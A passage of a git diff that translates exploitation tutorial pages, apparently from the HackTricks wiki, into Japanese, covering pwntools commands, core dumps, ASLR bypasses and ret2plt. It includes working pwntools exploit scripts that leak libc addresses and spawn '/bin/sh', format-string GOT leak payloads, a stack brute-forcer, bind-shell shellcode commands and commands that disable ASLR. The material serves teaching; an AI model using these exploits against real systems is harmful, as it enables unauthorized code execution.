"/bin/sh"のオフセット -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> 実行可能ファイルによって呼び出される関数\ +**rabin2 -i ejecutable -->** すべての関数のアドレス ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### リモートLinuxでのデバッグ +IDAフォルダ内には、Linux内のバイナリをデバッグするために使用できるバイナリがあります。これを行うには、バイナリ`linux_server`または`linux_server64`をLinuxサーバー内に移動し、バイナリを含むフォルダ内で実行します: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +次に、デバッガを設定します: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..7ca4f02c1 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +行またはファイルから**オペコード**を取得します。 ``` pwn asm "jmp esp" pwn asm -i ``` +**選択可能:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- 出力タイプ (raw, hex, string, elf) +- 出力ファイルコンテキスト (16, 32, 64, linux, windows...) +- バイトを避ける (改行, null, リスト) +- エンコーダを選択し、gdbを使用してデバッグシェルコードを実行する ## **Pwn checksec** -Checksec script - +Checksecスクリプト ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +パターンを取得する ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**選択可能:** -**Can select:** +- 使用するアルファベット(デフォルトは小文字) +- ユニークパターンの長さ(デフォルトは4) +- コンテキスト(16,32,64,linux,windows...) +- オフセットを取得する(-l) -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) - -## Pwn debug - -Attach GDB to a process +## Pwnデバッグ +プロセスにGDBをアタッチする ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**選択可能:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- 実行可能ファイル、名前、または pid コンテキストによって (16,32,64,linux,windows...) +- 実行する gdbscript - sysrootpath ## Pwn disablenx -Disable nx of a binary - +バイナリの nx を無効にする ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +16進数のオペコードを逆アセンブルする ``` pwn disasm ffe4 ``` +**選択可能:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- コンテキスト (16,32,64,linux,windows...) +- ベースアドレス +- 色 (デフォルト)/色なし ## Pwn elfdiff -Print differences between 2 files - +2つのファイルの違いを表示します ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +16進数表現を取得する ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +hexdumpを取得する ``` pwn phd ``` +**選択可能:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- 表示するバイト数 +- 行ごとのハイライトバイト数 +- 開始時にスキップするバイト数 ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +シェルコードを取得する ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**選択可能:** -**Can select:** +- シェルコードとシェルコードの引数 +- 出力ファイル +- 出力形式 +- デバッグ(シェルコードにdbgをアタッチ) +- 前(コードの前にデバッグトラップ) +- 後 +- オペコードの使用を避ける(デフォルト: nullおよび改行なし) +- シェルコードを実行 +- カラー/ノーカラー +- システムコールのリスト +- 可能なシェルコードのリスト +- 共有ライブラリとしてELFを生成 -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Pwnテンプレート +Pythonテンプレートを取得 ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**選択可能:** ホスト、ポート、ユーザー、パス、パス、クワイエット ## Pwn unhex -From hex to string - +16進数から文字列へ ``` pwn unhex 686f6c61 ``` +## Pwn 更新 -## Pwn update - -To update pwntools - +pwntoolsを更新するには ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..671ad18d7 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# コモンバイナリエクスプロイテーションプロテクションとバイパス {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## コアファイルの有効化 -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**コアファイル**は、プロセスがクラッシュしたときにオペレーティングシステムによって生成されるファイルの一種です。これらのファイルは、プロセスの終了時のメモリイメージをキャプチャし、プロセスのメモリ、レジスタ、およびプログラムカウンタの状態など、他の詳細を含みます。このスナップショットは、デバッグやクラッシュの原因を理解するために非常に価値があります。 -### **Enabling Core Dump Generation** +### **コアダンプ生成の有効化** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +デフォルトでは、多くのシステムはディスクスペースを節約するためにコアファイルのサイズを0に制限しています(つまり、コアファイルを生成しません)。コアファイルの生成を有効にするには、**`ulimit`**コマンド(bashや類似のシェルで)を使用するか、システム全体の設定を構成します。 +- **ulimitの使用**: コマンド`ulimit -c unlimited`は、現在のシェルセッションが無制限のサイズのコアファイルを作成できるようにします。これはデバッグセッションに便利ですが、再起動や新しいセッションでは持続しません。 ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **永続的な設定**: より永続的な解決策として、`/etc/security/limits.conf` ファイルを編集して `* soft core unlimited` のような行を追加することができます。これにより、すべてのユーザーがセッション内で手動で ulimit を設定することなく、無制限のサイズのコアファイルを生成できるようになります。 ```markdown - soft core unlimited ``` +### **GDBを使用したコアファイルの分析** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +コアファイルを分析するには、GDB(GNUデバッガ)などのデバッグツールを使用できます。コアダンプを生成した実行可能ファイルがあり、コアファイルの名前が`core_file`であると仮定すると、分析を開始するには次のようにします: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +このコマンドは、実行可能ファイルとコアファイルをGDBにロードし、クラッシュ時のプログラムの状態を検査できるようにします。GDBコマンドを使用してスタックを探索し、変数を調べ、クラッシュの原因を理解することができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..59c35ee5a 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**アドレス空間配置のランダム化 (ASLR)** は、オペレーティングシステムで使用されるセキュリティ技術で、**システムおよびアプリケーションプロセスによって使用されるメモリアドレスをランダム化**します。これにより、攻撃者が特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の位置を予測することが非常に困難になり、特にバッファオーバーフローなどの特定のタイプのエクスプロイトを軽減します。 -### **Checking ASLR Status** +### **ASLRの状態を確認する** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +LinuxシステムでASLRの状態を**確認**するには、**`/proc/sys/kernel/randomize_va_space`**ファイルから値を読み取ります。このファイルに保存されている値は、適用されるASLRのタイプを決定します: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: ランダム化なし。すべてが静的です。 +- **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。 +- **2**: 完全なランダム化。保守的なランダム化によってランダム化された要素に加えて、`brk()`を通じて管理されるメモリがランダム化されます。 +次のコマンドでASLRの状態を確認できます: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **ASLRの無効化** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効化することは、一般的にテストやデバッグのシナリオ以外では推奨されません。以下は、無効化する方法です: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +実行のためにASLRを無効にすることもできます: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **ASLRの有効化** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに**2**の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **再起動を跨いだ持続性** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +`echo` コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf` ファイルを編集し、以下の行を追加または修正する必要があります: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +`/etc/sysctl.conf`を編集した後、次のコマンドで変更を適用します: ```bash sudo sysctl -p ``` +これにより、再起動後もASLR設定が維持されます。 -This will ensure that your ASLR settings remain across reboots. +## **バイパス** -## **Bypasses** +### 32ビットブルートフォース -### 32bit brute-forcing +PaXはプロセスアドレス空間を**3つのグループ**に分けます: -PaX divides the process address space into **3 groups**: +- **コードとデータ**(初期化済みおよび未初期化):`.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピー。この変数は各プロセスでランダムに初期化され、初期アドレスに加算されます。 +- `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 +- **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**(10バイト目から20バイト目までを含む)を使用し、**16バイト**に整列されています —> これにより、**524,288の実際のスタックアドレス**が可能になります。 -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +前述のデータは32ビットシステム用であり、最終的なエントロピーが減少することで、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。 -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. - -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### ブルートフォースのアイデア: +- シェルコードの前に**大きなNOPスレッド**をホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで試すことができます。 +- オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加する**ことが可能です。 +- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます(32ビットシステムに便利です): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します(例えば)。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、その関数のアドレスを見つけたことになります。 > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> 64ビットシステムではエントロピーがはるかに高く、これは不可能であるべきです。 -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### 64ビットスタックのブルートフォース +環境変数でスタックの大部分を占有し、その後、バイナリをローカルで何百回、何千回も悪用しようとすることが可能です。\ +以下のコードは、**スタック内のアドレスを選択するだけで**、**数百回の実行ごとに**そのアドレスが**NOP命令**を含むことができる方法を示しています。 ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### ローカル情報 (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +プロセスのファイル **`/proc/[pid]/stat`** は常に誰でも読み取ることができ、**興味深い**情報が含まれています: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: バイナリの**TEXT**の上と下のアドレス +- **startstack**: **スタック**の開始アドレス +- **start_data** & **end_data**: **BSS**の上と下のアドレス +- **kstkesp** & **kstkeip**: 現在の**ESP**と**EIP**アドレス +- **arg_start** & **arg_end**: **cli arguments**の上と下のアドレス +- **env_start** &**env_end**: **env variables**の上と下のアドレス -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の**入力からのオーバーフローを期待している場合**、攻撃者はこのファイルから**いくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行う**ことが可能です。 > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)で`/proc/pid/stat`を検索してください。 -### Having a leak +### リークを持つこと -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **課題はリークを提供することです** +リークが与えられた場合(簡単なCTFチャレンジ)、それからオフセットを計算することができます(例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されています(詳細はそのページを確認してください): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +バッファオーバーフローを悪用することで、**ret2plt**を利用してlibcの関数のアドレスを抽出することが可能です。確認してください: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTから**libc関数**のアドレスを抽出することができます。以下の[**例はここから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +フォーマット文字列の任意の読み取りに関する詳細情報は次の場所で見つけることができます: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +スタック内のアドレスを悪用してASLRをバイパスしようとします: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +**`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行できるようにすることでパフォーマンスを向上させますが、これらは基本的にカーネルの一部です。**vsyscall** の重要な利点は、**ASLR**(アドレス空間配置のランダム化)の影響を受けない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\ +ただし、ここでは特に興味深いガジェットは見つかりません(例えば、`ret;` の同等物を取得することは可能ですが)。 -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(以下の例とコードは [**この書き込みから**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) です) +例えば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定になったりクラッシュしたりする可能性がありますが、**vsyscall** セクションによって提供される `syscall` の開始地点にジャンプすることは成功する可能性があります。この**vsyscall** アドレスへの実行を導く**ROP**ガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分で**ASLR**をバイパスすることなくコード実行を達成できます。 ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、**vdso を悪用して ASLR をバイパスする**ことが可能であることに注意してください。vdso アドレスはランダム化されません。詳細については、次を確認してください: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..80d89744f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +この技術の目的は、**PLTから関数のアドレスを漏洩させる**ことでASLRをバイパスすることです。例えば、libcから関数`puts`のアドレスを漏洩させると、**`libc`のベースがどこにあるかを計算**し、**`system`**などの他の関数にアクセスするためのオフセットを計算できます。 +これは、`pwntools`ペイロードを使用して行うことができます([**こちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +**`puts`**(PLTからのアドレスを使用)が、GOT(グローバルオフセットテーブル)にある`puts`のアドレスで呼び出されることに注意してください。これは、`puts`が`puts`のGOTエントリを印刷する時点で、この**エントリがメモリ内の`puts`の正確なアドレスを含む**ためです。 -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +また、エクスプロイトで`main`のアドレスが使用されていることに注意してください。これにより、`puts`が実行を終了すると、**バイナリが終了するのではなく`main`を再度呼び出します**(したがって、漏洩したアドレスは有効なままになります)。 > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> これが機能するためには、**バイナリはPIEでコンパイルされていない必要があります**、または**PIEをバイパスするための漏洩を見つける必要があります**。そうしないと、最初にPIEをバイパスする必要があります。 +この[**バイパスの完全な例はこちらにあります**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。これはその**例**からの最終的なエクスプロイトでした: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## その他の例と参考文献 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64ビット、ASLRが有効だがPIEなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、その後`system('/bin/sh')`を呼び出すROPガジェットを作成します。 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64ビット、ASLRが有効、カナリアなし、子関数からmainへのスタックオーバーフロー。ROPガジェットを使ってputsを呼び出し、GOTからputsのアドレスを漏洩させ、その後one gadgetを呼び出します。 {{#include 